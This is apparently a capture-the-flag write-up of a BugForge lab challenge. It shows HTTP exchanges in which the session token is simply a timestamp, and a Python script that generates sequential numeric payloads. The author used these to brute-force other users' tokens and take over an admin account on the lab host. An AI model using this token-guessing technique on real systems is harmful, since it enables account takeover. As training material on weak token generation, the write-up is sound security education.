Broken Authentication. Tokens are fun!
As with any BugForge challenge, we start with registering an account. After logging into the platform we are provided a token.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Length: 118
Content-Type: application/json; charset=utf-8
Date: Fri, 13 Mar 2026 12:00:04 GMT
Etag: W/"76-V47BhOouBNDqEq/nPwI0BPywVN8"
X-Powered-By: Express
{
"token": "20260313120004",
"user": {
"id": 4,
"username": "test_1",
"email": "test_1@gmail.com",
"full_name": "",
"role": "user"
}
}
And I noticed on the /api/stats page that the Authorization token being used looked like a date time format that we can see in the registration response.
GET /api/stats HTTP/1.1
Host: lab-1773402865555-brqbsu.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Authorization: Bearer 20260313120004
Connection: keep-alive
Referer: https://lab-1773402865555-brqbsu.labs-app.bugforge.io/dashboard
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
If-None-Match: W/"81-QgfWXa6yTi9PS1t13Sfvpe+TH6c"
So I figured what are the chances that other users tokens might be generated in a similar way and therefore easily predictable. I ended up making some Python code that would generate the tokens based on the timestamp and fed that file into Caido's Automate feature. After a few minutes I got a hit! If we swap out our token in the browser with the one we found in Automate and refresh the page...maybe we we become admin?
import argparse
def generate_numeric_payloads(start, end, filename):
try:
padding = len(str(end))
with open(filename, "w") as f:
for i in range(start, end + 1):
f.write(f"{str(i).zfill(padding)}\n")
print(f"Success! '{filename}' has been created with {end - start + 1} entries.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Generate numeric payloads")
parser.add_argument('-s', "--start", type=int, default=0, help="Starting number (default: 0)")
parser.add_argument('-e', "--end", type=int, default=999999, help="Ending number (default: 999999)")
parser.add_argument('-o', "--output", type=str, default="payloads.txt", help="Output file (default: payloads.txt)")
args = parser.parse_args()
generate_numeric_payloads(args.start, args.end, args.output)
No AI used in the making of this post that I know of atleast 😀